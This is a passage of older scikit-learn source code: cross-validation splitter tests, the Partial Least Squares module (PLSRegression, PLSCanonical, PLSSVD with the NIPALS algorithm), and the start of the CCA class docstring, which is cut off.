        from sklearn.cross_validation import StratifiedKFold as OldSKF

    cv2 = check_cv(OldSKF(y_multiclass, n_folds=3))
    np.testing.assert_equal(list(cv1.split(X, y_multiclass)),
                            list(cv2.split()))

    assert_raises(ValueError, check_cv, cv="lolo")


def test_cv_iterable_wrapper():
    y_multiclass = np.array([0, 1, 0, 1, 2, 1, 2, 0, 2])

    with warnings.catch_warnings(record=True):
        from sklearn.cross_validation import StratifiedKFold as OldSKF

    cv = OldSKF(y_multiclass, n_folds=3)
    wrapped_old_skf = _CVIterableWrapper(cv)

    # Check if split works correctly
    np.testing.assert_equal(list(cv), list(wrapped_old_skf.split()))

    # Check if get_n_splits works correctly
    assert_equal(len(cv), wrapped_old_skf.get_n_splits())


def test_label_kfold():
    rng = np.random.RandomState(0)

    # Parameters of the test
    n_labels = 15
    n_samples = 1000
    n_splits = 5

    X = y = np.ones(n_samples)

    # Construct the test data
    tolerance = 0.05 * n_samples  # 5 percent error allowed
    labels = rng.randint(0, n_labels, n_samples)

    ideal_n_labels_per_fold = n_samples // n_splits

    len(np.unique(labels))
    # Get the test fold indices from the test set indices of each fold
    folds = np.zeros(n_samples)
    lkf = LabelKFold(n_splits=n_splits)
    for i, (_, test) in enumerate(lkf.split(X, y, labels)):
        folds[test] = i

    # Check that folds have approximately the same size
    assert_equal(len(folds), len(labels))
    for i in np.unique(folds):
        assert_greater_equal(tolerance,
                             abs(sum(folds == i) - ideal_n_labels_per_fold))

    # Check that each label appears only in 1 fold
    for label in np.unique(labels):
        assert_equal(len(np.unique(folds[labels == label])), 1)

    # Check that no label is on both sides of the split
    labels = np.asarray(labels, dtype=object)
    for train, test in lkf.split(X, y, labels):
        assert_equal(len(np.intersect1d(labels[train], labels[test])), 0)

    # Construct the test data
    labels = np.array(['Albert', 'Jean', 'Bertrand', 'Michel', 'Jean',
                       'Francis', 'Robert', 'Michel', 'Rachel', 'Lois',
                       'Michelle', 'Bernard', 'Marion', 'Laura', 'Jean',
                       'Rachel', 'Franck', 'John', 'Gael', 'Anna', 'Alix',
                       'Robert', 'Marion', 'David', 'Tony', 'Abel', 'Becky',
                       'Madmood', 'Cary', 'Mary', 'Alexandre', 'David',
                       'Francis', 'Barack', 'Abdoul', 'Rasha', 'Xi', 'Silvia'])

    n_labels = len(np.unique(labels))
    n_samples = len(labels)
    n_splits = 5
    tolerance = 0.05 * n_samples  # 5 percent error allowed
    ideal_n_labels_per_fold = n_samples // n_splits

    X = y = np.ones(n_samples)

    # Get the test fold indices from the test set indices of each fold
    folds = np.zeros(n_samples)
    for i, (_, test) in enumerate(lkf.split(X, y, labels)):
        folds[test] = i

    # Check that folds have approximately the same size
    assert_equal(len(folds), len(labels))
    for i in np.unique(folds):
        assert_greater_equal(tolerance,
                             abs(sum(folds == i) - ideal_n_labels_per_fold))

    # Check that each label appears only in 1 fold
    with warnings.catch_warnings():
        warnings.simplefilter("ignore", DeprecationWarning)
        for label in np.unique(labels):
            assert_equal(len(np.unique(folds[labels == label])), 1)

    # Check that no label is on both sides of the split
    labels = np.asarray(labels, dtype=object)
    for train, test in lkf.split(X, y, labels):
        assert_equal(len(np.intersect1d(labels[train], labels[test])), 0)

    # Should fail if there are more folds than labels
    labels = np.array([1, 1, 1, 2, 2])
    X = y = np.ones(len(labels))
    assert_raises_regexp(ValueError, "Cannot have number of splits.*greater",
                         next, LabelKFold(n_splits=3).split(X, y, labels))


def test_nested_cv():
    # Test if nested cross validation works with different combinations of cv
    rng = np.random.RandomState(0)

    X, y = make_classification(n_samples=15, n_classes=2, random_state=0)
    labels = rng.randint(0, 5, 15)

    cvs = [LeaveOneLabelOut(), LeaveOneOut(), LabelKFold(), StratifiedKFold(),
           StratifiedShuffleSplit(n_splits=3, random_state=0)]

    for inner_cv, outer_cv in combinations_with_replacement(cvs, 2):
        gs = GridSearchCV(Ridge(), param_grid={'alpha': [1, .1]},
                          cv=inner_cv)
        cross_val_score(gs, X=X, y=y, labels=labels, cv=outer_cv,
                        fit_params={'labels': labels})


def test_build_repr():
    class MockSplitter:
        def __init__(self, a, b=0, c=None):
            self.a = a
            self.b = b
            self.c = c

        def __repr__(self):
            return _build_repr(self)

    assert_equal(repr(MockSplitter(5, 6)), "MockSplitter(a=5, b=6, c=None)")






"""
The :mod:`sklearn.pls` module implements Partial Least Squares (PLS).
"""

# Author: Edouard Duchesnay <edouard.duchesnay@cea.fr>
# License: BSD 3 clause
from distutils.version import LooseVersion
from sklearn.utils.extmath import svd_flip

from ..base import BaseEstimator, RegressorMixin, TransformerMixin
from ..utils import check_array, check_consistent_length
from ..externals import six

import warnings
from abc import ABCMeta, abstractmethod
import numpy as np
from scipy import linalg
from ..utils import arpack
from ..utils.validation import check_is_fitted, FLOAT_DTYPES

__all__ = ['PLSCanonical', 'PLSRegression', 'PLSSVD']

import scipy
pinv2_args = {}
if LooseVersion(scipy.__version__) >= LooseVersion('0.12'):
    # check_finite=False is an optimization available only in scipy >=0.12
    pinv2_args = {'check_finite': False}


def _nipals_twoblocks_inner_loop(X, Y, mode="A", max_iter=500, tol=1e-06,
                                 norm_y_weights=False):
    """Inner loop of the iterative NIPALS algorithm.

    Provides an alternative to the svd(X'Y); returns the first left and right
    singular vectors of X'Y.  See PLS for the meaning of the parameters.  It is
    similar to the Power method for determining the eigenvectors and
    eigenvalues of a X'Y.
    """
    y_score = Y[:, [0]]
    x_weights_old = 0
    ite = 1
    X_pinv = Y_pinv = None
    eps = np.finfo(X.dtype).eps
    # Inner loop of the Wold algo.
    while True:
        # 1.1 Update u: the X weights
        if mode == "B":
            if X_pinv is None:
                # We use slower pinv2 (same as np.linalg.pinv) for stability
                # reasons
                X_pinv = linalg.pinv2(X, **pinv2_args)
            x_weights = np.dot(X_pinv, y_score)
        else:  # mode A
            # Mode A regress each X column on y_score
            x_weights = np.dot(X.T, y_score) / np.dot(y_score.T, y_score)
        # If y_score only has zeros x_weights will only have zeros. In
        # this case add an epsilon to converge to a more acceptable
        # solution
        if np.dot(x_weights.T, x_weights) < eps:
            x_weights += eps
        # 1.2 Normalize u
        x_weights /= np.sqrt(np.dot(x_weights.T, x_weights)) + eps
        # 1.3 Update x_score: the X latent scores
        x_score = np.dot(X, x_weights)
        # 2.1 Update y_weights
        if mode == "B":
            if Y_pinv is None:
                Y_pinv = linalg.pinv2(Y, **pinv2_args)  # compute once pinv(Y)
            y_weights = np.dot(Y_pinv, x_score)
        else:
            # Mode A regress each Y column on x_score
            y_weights = np.dot(Y.T, x_score) / np.dot(x_score.T, x_score)
        # 2.2 Normalize y_weights
        if norm_y_weights:
            y_weights /= np.sqrt(np.dot(y_weights.T, y_weights)) + eps
        # 2.3 Update y_score: the Y latent scores
        y_score = np.dot(Y, y_weights) / (np.dot(y_weights.T, y_weights) + eps)
        # y_score = np.dot(Y, y_weights) / np.dot(y_score.T, y_score) ## BUG
        x_weights_diff = x_weights - x_weights_old
        if np.dot(x_weights_diff.T, x_weights_diff) < tol or Y.shape[1] == 1:
            break
        if ite == max_iter:
            warnings.warn('Maximum number of iterations reached')
            break
        x_weights_old = x_weights
        ite += 1
    return x_weights, y_weights, ite


def _svd_cross_product(X, Y):
    C = np.dot(X.T, Y)
    U, s, Vh = linalg.svd(C, full_matrices=False)
    u = U[:, [0]]
    v = Vh.T[:, [0]]
    return u, v


def _center_scale_xy(X, Y, scale=True):
    """ Center X, Y and scale if the scale parameter==True

    Returns
    -------
        X, Y, x_mean, y_mean, x_std, y_std
    """
    # center
    x_mean = X.mean(axis=0)
    X -= x_mean
    y_mean = Y.mean(axis=0)
    Y -= y_mean
    # scale
    if scale:
        x_std = X.std(axis=0, ddof=1)
        x_std[x_std == 0.0] = 1.0
        X /= x_std
        y_std = Y.std(axis=0, ddof=1)
        y_std[y_std == 0.0] = 1.0
        Y /= y_std
    else:
        x_std = np.ones(X.shape[1])
        y_std = np.ones(Y.shape[1])
    return X, Y, x_mean, y_mean, x_std, y_std


class _PLS(six.with_metaclass(ABCMeta), BaseEstimator, TransformerMixin,
           RegressorMixin):
    """Partial Least Squares (PLS)

    This class implements the generic PLS algorithm, constructors' parameters
    allow to obtain a specific implementation such as:

    - PLS2 regression, i.e., PLS 2 blocks, mode A, with asymmetric deflation
      and unnormalized y weights such as defined by [Tenenhaus 1998] p. 132.
      With univariate response it implements PLS1.

    - PLS canonical, i.e., PLS 2 blocks, mode A, with symmetric deflation and
      normalized y weights such as defined by [Tenenhaus 1998] (p. 132) and
      [Wegelin et al. 2000]. This parametrization implements the original Wold
      algorithm.

    We use the terminology defined by [Wegelin et al. 2000].
    This implementation uses the PLS Wold 2 blocks algorithm based on two
    nested loops:
        (i) The outer loop iterate over components.
        (ii) The inner loop estimates the weights vectors. This can be done
        with two algo. (a) the inner loop of the original NIPALS algo. or (b) a
        SVD on residuals cross-covariance matrices.

    n_components : int, number of components to keep. (default 2).

    scale : boolean, scale data? (default True)

    deflation_mode : str, "canonical" or "regression". See notes.

    mode : "A" classical PLS and "B" CCA. See notes.

    norm_y_weights: boolean, normalize Y weights to one? (default False)

    algorithm : string, "nipals" or "svd"
        The algorithm used to estimate the weights. It will be called
        n_components times, i.e. once for each iteration of the outer loop.

    max_iter : an integer, the maximum number of iterations (default 500)
        of the NIPALS inner loop (used only if algorithm="nipals")

    tol : non-negative real, default 1e-06
        The tolerance used in the iterative algorithm.

    copy : boolean, default True
        Whether the deflation should be done on a copy. Let the default
        value to True unless you don't care about side effects.

    Attributes
    ----------
    x_weights_ : array, [p, n_components]
        X block weights vectors.

    y_weights_ : array, [q, n_components]
        Y block weights vectors.

    x_loadings_ : array, [p, n_components]
        X block loadings vectors.

    y_loadings_ : array, [q, n_components]
        Y block loadings vectors.

    x_scores_ : array, [n_samples, n_components]
        X scores.

    y_scores_ : array, [n_samples, n_components]
        Y scores.

    x_rotations_ : array, [p, n_components]
        X block to latents rotations.

    y_rotations_ : array, [q, n_components]
        Y block to latents rotations.

    coef_: array, [p, q]
        The coefficients of the linear model: ``Y = X coef_ + Err``

    n_iter_ : array-like
        Number of iterations of the NIPALS inner loop for each
        component. Not useful if the algorithm given is "svd".

    References
    ----------

    Jacob A. Wegelin. A survey of Partial Least Squares (PLS) methods, with
    emphasis on the two-block case. Technical Report 371, Department of
    Statistics, University of Washington, Seattle, 2000.

    In French but still a reference:
    Tenenhaus, M. (1998). La regression PLS: theorie et pratique. Paris:
    Editions Technic.

    See also
    --------
    PLSCanonical
    PLSRegression
    CCA
    PLS_SVD
    """

    @abstractmethod
    def __init__(self, n_components=2, scale=True, deflation_mode="regression",
                 mode="A", algorithm="nipals", norm_y_weights=False,
                 max_iter=500, tol=1e-06, copy=True):
        self.n_components = n_components
        self.deflation_mode = deflation_mode
        self.mode = mode
        self.norm_y_weights = norm_y_weights
        self.scale = scale
        self.algorithm = algorithm
        self.max_iter = max_iter
        self.tol = tol
        self.copy = copy

    def fit(self, X, Y):
        """Fit model to data.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Training vectors, where n_samples in the number of samples and
            n_features is the number of predictors.

        Y : array-like of response, shape = [n_samples, n_targets]
            Target vectors, where n_samples in the number of samples and
            n_targets is the number of response variables.
        """

        # copy since this will contains the residuals (deflated) matrices
        check_consistent_length(X, Y)
        X = check_array(X, dtype=np.float64, copy=self.copy)
        Y = check_array(Y, dtype=np.float64, copy=self.copy, ensure_2d=False)
        if Y.ndim == 1:
            Y = Y.reshape(-1, 1)

        n = X.shape[0]
        p = X.shape[1]
        q = Y.shape[1]

        if self.n_components < 1 or self.n_components > p:
            raise ValueError('Invalid number of components: %d' %
                             self.n_components)
        if self.algorithm not in ("svd", "nipals"):
            raise ValueError("Got algorithm %s when only 'svd' "
                             "and 'nipals' are known" % self.algorithm)
        if self.algorithm == "svd" and self.mode == "B":
            raise ValueError('Incompatible configuration: mode B is not '
                             'implemented with svd algorithm')
        if self.deflation_mode not in ["canonical", "regression"]:
            raise ValueError('The deflation mode is unknown')
        # Scale (in place)
        X, Y, self.x_mean_, self.y_mean_, self.x_std_, self.y_std_ = (
            _center_scale_xy(X, Y, self.scale))
        # Residuals (deflated) matrices
        Xk = X
        Yk = Y
        # Results matrices
        self.x_scores_ = np.zeros((n, self.n_components))
        self.y_scores_ = np.zeros((n, self.n_components))
        self.x_weights_ = np.zeros((p, self.n_components))
        self.y_weights_ = np.zeros((q, self.n_components))
        self.x_loadings_ = np.zeros((p, self.n_components))
        self.y_loadings_ = np.zeros((q, self.n_components))
        self.n_iter_ = []

        # NIPALS algo: outer loop, over components
        for k in range(self.n_components):
            if np.all(np.dot(Yk.T, Yk) < np.finfo(np.double).eps):
                # Yk constant
                warnings.warn('Y residual constant at iteration %s' % k)
                break
            # 1) weights estimation (inner loop)
            # -----------------------------------
            if self.algorithm == "nipals":
                x_weights, y_weights, n_iter_ = \
                    _nipals_twoblocks_inner_loop(
                        X=Xk, Y=Yk, mode=self.mode, max_iter=self.max_iter,
                        tol=self.tol, norm_y_weights=self.norm_y_weights)
                self.n_iter_.append(n_iter_)
            elif self.algorithm == "svd":
                x_weights, y_weights = _svd_cross_product(X=Xk, Y=Yk)
            # Forces sign stability of x_weights and y_weights
            # Sign undeterminacy issue from svd if algorithm == "svd"
            # and from platform dependent computation if algorithm == 'nipals'
            x_weights, y_weights = svd_flip(x_weights, y_weights.T)
            y_weights = y_weights.T
            # compute scores
            x_scores = np.dot(Xk, x_weights)
            if self.norm_y_weights:
                y_ss = 1
            else:
                y_ss = np.dot(y_weights.T, y_weights)
            y_scores = np.dot(Yk, y_weights) / y_ss
            # test for null variance
            if np.dot(x_scores.T, x_scores) < np.finfo(np.double).eps:
                warnings.warn('X scores are null at iteration %s' % k)
                break
            # 2) Deflation (in place)
            # ----------------------
            # Possible memory footprint reduction may done here: in order to
            # avoid the allocation of a data chunk for the rank-one
            # approximations matrix which is then subtracted to Xk, we suggest
            # to perform a column-wise deflation.
            #
            # - regress Xk's on x_score
            x_loadings = np.dot(Xk.T, x_scores) / np.dot(x_scores.T, x_scores)
            # - subtract rank-one approximations to obtain remainder matrix
            Xk -= np.dot(x_scores, x_loadings.T)
            if self.deflation_mode == "canonical":
                # - regress Yk's on y_score, then subtract rank-one approx.
                y_loadings = (np.dot(Yk.T, y_scores)
                              / np.dot(y_scores.T, y_scores))
                Yk -= np.dot(y_scores, y_loadings.T)
            if self.deflation_mode == "regression":
                # - regress Yk's on x_score, then subtract rank-one approx.
                y_loadings = (np.dot(Yk.T, x_scores)
                              / np.dot(x_scores.T, x_scores))
                Yk -= np.dot(x_scores, y_loadings.T)
            # 3) Store weights, scores and loadings # Notation:
            self.x_scores_[:, k] = x_scores.ravel()  # T
            self.y_scores_[:, k] = y_scores.ravel()  # U
            self.x_weights_[:, k] = x_weights.ravel()  # W
            self.y_weights_[:, k] = y_weights.ravel()  # C
            self.x_loadings_[:, k] = x_loadings.ravel()  # P
            self.y_loadings_[:, k] = y_loadings.ravel()  # Q
        # Such that: X = TP' + Err and Y = UQ' + Err

        # 4) rotations from input space to transformed space (scores)
        # T = X W(P'W)^-1 = XW* (W* : p x k matrix)
        # U = Y C(Q'C)^-1 = YC* (W* : q x k matrix)
        self.x_rotations_ = np.dot(
            self.x_weights_,
            linalg.pinv2(np.dot(self.x_loadings_.T, self.x_weights_),
                         **pinv2_args))
        if Y.shape[1] > 1:
            self.y_rotations_ = np.dot(
                self.y_weights_,
                linalg.pinv2(np.dot(self.y_loadings_.T, self.y_weights_),
                             **pinv2_args))
        else:
            self.y_rotations_ = np.ones(1)

        if True or self.deflation_mode == "regression":
            # FIXME what's with the if?
            # Estimate regression coefficient
            # Regress Y on T
            # Y = TQ' + Err,
            # Then express in function of X
            # Y = X W(P'W)^-1Q' + Err = XB + Err
            # => B = W*Q' (p x q)
            self.coef_ = np.dot(self.x_rotations_, self.y_loadings_.T)
            self.coef_ = (1. / self.x_std_.reshape((p, 1)) * self.coef_ *
                          self.y_std_)
        return self

    def transform(self, X, Y=None, copy=True):
        """Apply the dimension reduction learned on the train data.

        Parameters
        ----------
        X : array-like of predictors, shape = [n_samples, p]
            Training vectors, where n_samples in the number of samples and
            p is the number of predictors.

        Y : array-like of response, shape = [n_samples, q], optional
            Training vectors, where n_samples in the number of samples and
            q is the number of response variables.

        copy : boolean, default True
            Whether to copy X and Y, or perform in-place normalization.

        Returns
        -------
        x_scores if Y is not given, (x_scores, y_scores) otherwise.
        """
        check_is_fitted(self, 'x_mean_')
        X = check_array(X, copy=copy, dtype=FLOAT_DTYPES)
        # Normalize
        X -= self.x_mean_
        X /= self.x_std_
        # Apply rotation
        x_scores = np.dot(X, self.x_rotations_)
        if Y is not None:
            Y = check_array(Y, ensure_2d=False, copy=copy, dtype=FLOAT_DTYPES)
            if Y.ndim == 1:
                Y = Y.reshape(-1, 1)
            Y -= self.y_mean_
            Y /= self.y_std_
            y_scores = np.dot(Y, self.y_rotations_)
            return x_scores, y_scores

        return x_scores

    def predict(self, X, copy=True):
        """Apply the dimension reduction learned on the train data.

        Parameters
        ----------
        X : array-like of predictors, shape = [n_samples, p]
            Training vectors, where n_samples in the number of samples and
            p is the number of predictors.

        copy : boolean, default True
            Whether to copy X and Y, or perform in-place normalization.

        Notes
        -----
        This call requires the estimation of a p x q matrix, which may
        be an issue in high dimensional space.
        """
        check_is_fitted(self, 'x_mean_')
        X = check_array(X, copy=copy, dtype=FLOAT_DTYPES)
        # Normalize
        X -= self.x_mean_
        X /= self.x_std_
        Ypred = np.dot(X, self.coef_)
        return Ypred + self.y_mean_

    def fit_transform(self, X, y=None, **fit_params):
        """Learn and apply the dimension reduction on the train data.

        Parameters
        ----------
        X : array-like of predictors, shape = [n_samples, p]
            Training vectors, where n_samples in the number of samples and
            p is the number of predictors.

        Y : array-like of response, shape = [n_samples, q], optional
            Training vectors, where n_samples in the number of samples and
            q is the number of response variables.

        copy : boolean, default True
            Whether to copy X and Y, or perform in-place normalization.

        Returns
        -------
        x_scores if Y is not given, (x_scores, y_scores) otherwise.
        """
        return self.fit(X, y, **fit_params).transform(X, y)


class PLSRegression(_PLS):
    """PLS regression

    PLSRegression implements the PLS 2 blocks regression known as PLS2 or PLS1
    in case of one dimensional response.
    This class inherits from _PLS with mode="A", deflation_mode="regression",
    norm_y_weights=False and algorithm="nipals".

    Read more in the :ref:`User Guide <cross_decomposition>`.

    Parameters
    ----------
    n_components : int, (default 2)
        Number of components to keep.

    scale : boolean, (default True)
        whether to scale the data

    max_iter : an integer, (default 500)
        the maximum number of iterations of the NIPALS inner loop (used
        only if algorithm="nipals")

    tol : non-negative real
        Tolerance used in the iterative algorithm default 1e-06.

    copy : boolean, default True
        Whether the deflation should be done on a copy. Let the default
        value to True unless you don't care about side effect

    Attributes
    ----------
    x_weights_ : array, [p, n_components]
        X block weights vectors.

    y_weights_ : array, [q, n_components]
        Y block weights vectors.

    x_loadings_ : array, [p, n_components]
        X block loadings vectors.

    y_loadings_ : array, [q, n_components]
        Y block loadings vectors.

    x_scores_ : array, [n_samples, n_components]
        X scores.

    y_scores_ : array, [n_samples, n_components]
        Y scores.

    x_rotations_ : array, [p, n_components]
        X block to latents rotations.

    y_rotations_ : array, [q, n_components]
        Y block to latents rotations.

    coef_: array, [p, q]
        The coefficients of the linear model: ``Y = X coef_ + Err``

    n_iter_ : array-like
        Number of iterations of the NIPALS inner loop for each
        component.

    Notes
    -----
    Matrices::

        T: x_scores_
        U: y_scores_
        W: x_weights_
        C: y_weights_
        P: x_loadings_
        Q: y_loadings__

    Are computed such that::

        X = T P.T + Err and Y = U Q.T + Err
        T[:, k] = Xk W[:, k] for k in range(n_components)
        U[:, k] = Yk C[:, k] for k in range(n_components)
        x_rotations_ = W (P.T W)^(-1)
        y_rotations_ = C (Q.T C)^(-1)

    where Xk and Yk are residual matrices at iteration k.

    `Slides explaining PLS <http://www.eigenvector.com/Docs/Wise_pls_properties.pdf>`

    For each component k, find weights u, v that optimizes:
    ``max corr(Xk u, Yk v) * std(Xk u) std(Yk u)``, such that ``|u| = 1``

    Note that it maximizes both the correlations between the scores and the
    intra-block variances.

    The residual matrix of X (Xk+1) block is obtained by the deflation on
    the current X score: x_score.

    The residual matrix of Y (Yk+1) block is obtained by deflation on the
    current X score. This performs the PLS regression known as PLS2. This
    mode is prediction oriented.

    This implementation provides the same results that 3 PLS packages
    provided in the R language (R-project):

        - "mixOmics" with function pls(X, Y, mode = "regression")
        - "plspm " with function plsreg2(X, Y)
        - "pls" with function oscorespls.fit(X, Y)

    Examples
    --------
    >>> from sklearn.cross_decomposition import PLSRegression
    >>> X = [[0., 0., 1.], [1.,0.,0.], [2.,2.,2.], [2.,5.,4.]]
    >>> Y = [[0.1, -0.2], [0.9, 1.1], [6.2, 5.9], [11.9, 12.3]]
    >>> pls2 = PLSRegression(n_components=2)
    >>> pls2.fit(X, Y)
    ... # doctest: +NORMALIZE_WHITESPACE
    PLSRegression(copy=True, max_iter=500, n_components=2, scale=True,
            tol=1e-06)
    >>> Y_pred = pls2.predict(X)

    References
    ----------

    Jacob A. Wegelin. A survey of Partial Least Squares (PLS) methods, with
    emphasis on the two-block case. Technical Report 371, Department of
    Statistics, University of Washington, Seattle, 2000.

    In french but still a reference:
    Tenenhaus, M. (1998). La regression PLS: theorie et pratique. Paris:
    Editions Technic.
    """

    def __init__(self, n_components=2, scale=True,
                 max_iter=500, tol=1e-06, copy=True):
        super(PLSRegression, self).__init__(
            n_components=n_components, scale=scale,
            deflation_mode="regression", mode="A",
            norm_y_weights=False, max_iter=max_iter, tol=tol,
            copy=copy)


class PLSCanonical(_PLS):
    """ PLSCanonical implements the 2 blocks canonical PLS of the original Wold
    algorithm [Tenenhaus 1998] p.204, referred as PLS-C2A in [Wegelin 2000].

    This class inherits from PLS with mode="A" and deflation_mode="canonical",
    norm_y_weights=True and algorithm="nipals", but svd should provide similar
    results up to numerical errors.

    Read more in the :ref:`User Guide <cross_decomposition>`.

    Parameters
    ----------
    scale : boolean, scale data? (default True)

    algorithm : string, "nipals" or "svd"
        The algorithm used to estimate the weights. It will be called
        n_components times, i.e. once for each iteration of the outer loop.

    max_iter : an integer, (default 500)
        the maximum number of iterations of the NIPALS inner loop (used
        only if algorithm="nipals")

    tol : non-negative real, default 1e-06
        the tolerance used in the iterative algorithm

    copy : boolean, default True
        Whether the deflation should be done on a copy. Let the default
        value to True unless you don't care about side effect

    n_components : int, number of components to keep. (default 2).

    Attributes
    ----------
    x_weights_ : array, shape = [p, n_components]
        X block weights vectors.

    y_weights_ : array, shape = [q, n_components]
        Y block weights vectors.

    x_loadings_ : array, shape = [p, n_components]
        X block loadings vectors.

    y_loadings_ : array, shape = [q, n_components]
        Y block loadings vectors.

    x_scores_ : array, shape = [n_samples, n_components]
        X scores.

    y_scores_ : array, shape = [n_samples, n_components]
        Y scores.

    x_rotations_ : array, shape = [p, n_components]
        X block to latents rotations.

    y_rotations_ : array, shape = [q, n_components]
        Y block to latents rotations.

    n_iter_ : array-like
        Number of iterations of the NIPALS inner loop for each
        component. Not useful if the algorithm provided is "svd".

    Notes
    -----
    Matrices::

        T: x_scores_
        U: y_scores_
        W: x_weights_
        C: y_weights_
        P: x_loadings_
        Q: y_loadings__

    Are computed such that::

        X = T P.T + Err and Y = U Q.T + Err
        T[:, k] = Xk W[:, k] for k in range(n_components)
        U[:, k] = Yk C[:, k] for k in range(n_components)
        x_rotations_ = W (P.T W)^(-1)
        y_rotations_ = C (Q.T C)^(-1)

    where Xk and Yk are residual matrices at iteration k.

    `Slides explaining PLS <http://www.eigenvector.com/Docs/Wise_pls_properties.pdf>`

    For each component k, find weights u, v that optimize::

        max corr(Xk u, Yk v) * std(Xk u) std(Yk u), such that ``|u| = |v| = 1``

    Note that it maximizes both the correlations between the scores and the
    intra-block variances.

    The residual matrix of X (Xk+1) block is obtained by the deflation on the
    current X score: x_score.

    The residual matrix of Y (Yk+1) block is obtained by deflation on the
    current Y score. This performs a canonical symmetric version of the PLS
    regression. But slightly different than the CCA. This is mostly used
    for modeling.

    This implementation provides the same results that the "plspm" package
    provided in the R language (R-project), using the function plsca(X, Y).
    Results are equal or collinear with the function
    ``pls(..., mode = "canonical")`` of the "mixOmics" package. The difference
    relies in the fact that mixOmics implementation does not exactly implement
    the Wold algorithm since it does not normalize y_weights to one.

    Examples
    --------
    >>> from sklearn.cross_decomposition import PLSCanonical
    >>> X = [[0., 0., 1.], [1.,0.,0.], [2.,2.,2.], [2.,5.,4.]]
    >>> Y = [[0.1, -0.2], [0.9, 1.1], [6.2, 5.9], [11.9, 12.3]]
    >>> plsca = PLSCanonical(n_components=2)
    >>> plsca.fit(X, Y)
    ... # doctest: +NORMALIZE_WHITESPACE
    PLSCanonical(algorithm='nipals', copy=True, max_iter=500, n_components=2,
                 scale=True, tol=1e-06)
    >>> X_c, Y_c = plsca.transform(X, Y)

    References
    ----------

    Jacob A. Wegelin. A survey of Partial Least Squares (PLS) methods, with
    emphasis on the two-block case. Technical Report 371, Department of
    Statistics, University of Washington, Seattle, 2000.

    Tenenhaus, M. (1998). La regression PLS: theorie et pratique. Paris:
    Editions Technic.

    See also
    --------
    CCA
    PLSSVD
    """

    def __init__(self, n_components=2, scale=True, algorithm="nipals",
                 max_iter=500, tol=1e-06, copy=True):
        super(PLSCanonical, self).__init__(
            n_components=n_components, scale=scale,
            deflation_mode="canonical", mode="A",
            norm_y_weights=True, algorithm=algorithm,
            max_iter=max_iter, tol=tol, copy=copy)


class PLSSVD(BaseEstimator, TransformerMixin):
    """Partial Least Square SVD

    Simply perform a svd on the crosscovariance matrix: X'Y
    There are no iterative deflation here.

    Read more in the :ref:`User Guide <cross_decomposition>`.

    Parameters
    ----------
    n_components : int, default 2
        Number of components to keep.

    scale : boolean, default True
        Whether to scale X and Y.

    copy : boolean, default True
        Whether to copy X and Y, or perform in-place computations.

    Attributes
    ----------
    x_weights_ : array, [p, n_components]
        X block weights vectors.

    y_weights_ : array, [q, n_components]
        Y block weights vectors.

    x_scores_ : array, [n_samples, n_components]
        X scores.

    y_scores_ : array, [n_samples, n_components]
        Y scores.

    See also
    --------
    PLSCanonical
    CCA
    """

    def __init__(self, n_components=2, scale=True, copy=True):
        self.n_components = n_components
        self.scale = scale
        self.copy = copy

    def fit(self, X, Y):
        # copy since this will contains the centered data
        check_consistent_length(X, Y)
        X = check_array(X, dtype=np.float64, copy=self.copy)
        Y = check_array(Y, dtype=np.float64, copy=self.copy, ensure_2d=False)
        if Y.ndim == 1:
            Y = Y.reshape(-1, 1)

        if self.n_components > max(Y.shape[1], X.shape[1]):
            raise ValueError("Invalid number of components n_components=%d"
                             " with X of shape %s and Y of shape %s."
                             % (self.n_components, str(X.shape), str(Y.shape)))

        # Scale (in place)
        X, Y, self.x_mean_, self.y_mean_, self.x_std_, self.y_std_ = (
            _center_scale_xy(X, Y, self.scale))
        # svd(X'Y)
        C = np.dot(X.T, Y)

        # The arpack svds solver only works if the number of extracted
        # components is smaller than rank(X) - 1. Hence, if we want to extract
        # all the components (C.shape[1]), we have to use another one. Else,
        # let's use arpacks to compute only the interesting components.
        if self.n_components >= np.min(C.shape):
            U, s, V = linalg.svd(C, full_matrices=False)
        else:
            U, s, V = arpack.svds(C, k=self.n_components)
        # Deterministic output
        U, V = svd_flip(U, V)
        V = V.T
        self.x_scores_ = np.dot(X, U)
        self.y_scores_ = np.dot(Y, V)
        self.x_weights_ = U
        self.y_weights_ = V
        return self

    def transform(self, X, Y=None):
        """Apply the dimension reduction learned on the train data."""
        check_is_fitted(self, 'x_mean_')
        X = check_array(X, dtype=np.float64)
        Xr = (X - self.x_mean_) / self.x_std_
        x_scores = np.dot(Xr, self.x_weights_)
        if Y is not None:
            if Y.ndim == 1:
                Y = Y.reshape(-1, 1)
            Yr = (Y - self.y_mean_) / self.y_std_
            y_scores = np.dot(Yr, self.y_weights_)
            return x_scores, y_scores
        return x_scores

    def fit_transform(self, X, y=None, **fit_params):
        """Learn and apply the dimension reduction on the train data.

        Parameters
        ----------
        X : array-like of predictors, shape = [n_samples, p]
            Training vectors, where n_samples in the number of samples and
            p is the number of predictors.

        Y : array-like of response, shape = [n_samples, q], optional
            Training vectors, where n_samples in the number of samples and
            q is the number of response variables.

        Returns
        -------
        x_scores if Y is not given, (x_scores, y_scores) otherwise.
        """
        return self.fit(X, y, **fit_params).transform(X, y)






from .pls_ import *
from .cca_ import *






from .pls_ import _PLS

__all__ = ['CCA']


class CCA(_PLS):
    """CCA Canonical Correlation Analysis.

    CCA inherits from PLS with mode="B" and deflation_mode="canonical".

    Read more in the :ref:`User Guide <cross_decomposition>`.

    Parameters
    ----------
    n_components : int, (default 2).
        number of components to keep.

    scale : boolean, (default True)
        whether to scale the data?

    max_iter : an integer, (default 500)
        the maximum number of iterations of the NIPALS inner loop

    tol : non-negative real, default 1e-06.
        the tolerance used in the iterative algorithm

    copy : boolean
        Whether the deflation be done on a copy. Let the default value
        to True unless you don't care about side effects

    Attributes
    ----------
    x_weights_ : array, [p, n_components]
        X block weights vectors.

    y_weights_ : array, [q, n_components]
        Y block weights vectors.

    x_loadings_ : array, [p, n_components]
        X block loadings vectors.

    y_loadings_ : array, [q, n_components]
        Y block loadings vectors.

    x_scores_ : array, [n_samples, n_components]
        X scores.

    y_scores_ : array, [n_samples, n_components]
        Y scores.

    x_rotations_ : array, [p, n_components]
        X block to latents rotations.

    y_rotations_ : array, [q, n_components]
        Y block to latents rotations.

    n_iter_ : array-like
        Number of iterations of the NIPALS inner loop for each
        component.

    Notes
    -----
    For each component k, find the weights u, v that maximizes
    max corr(Xk u, Yk v), such that ``|u| = |v| = 1``

    Note that it maximizes only the correlations between the scores.

    The residual matrix of X (Xk+1) block is obtained by the deflation on the
    current X score: x_score.

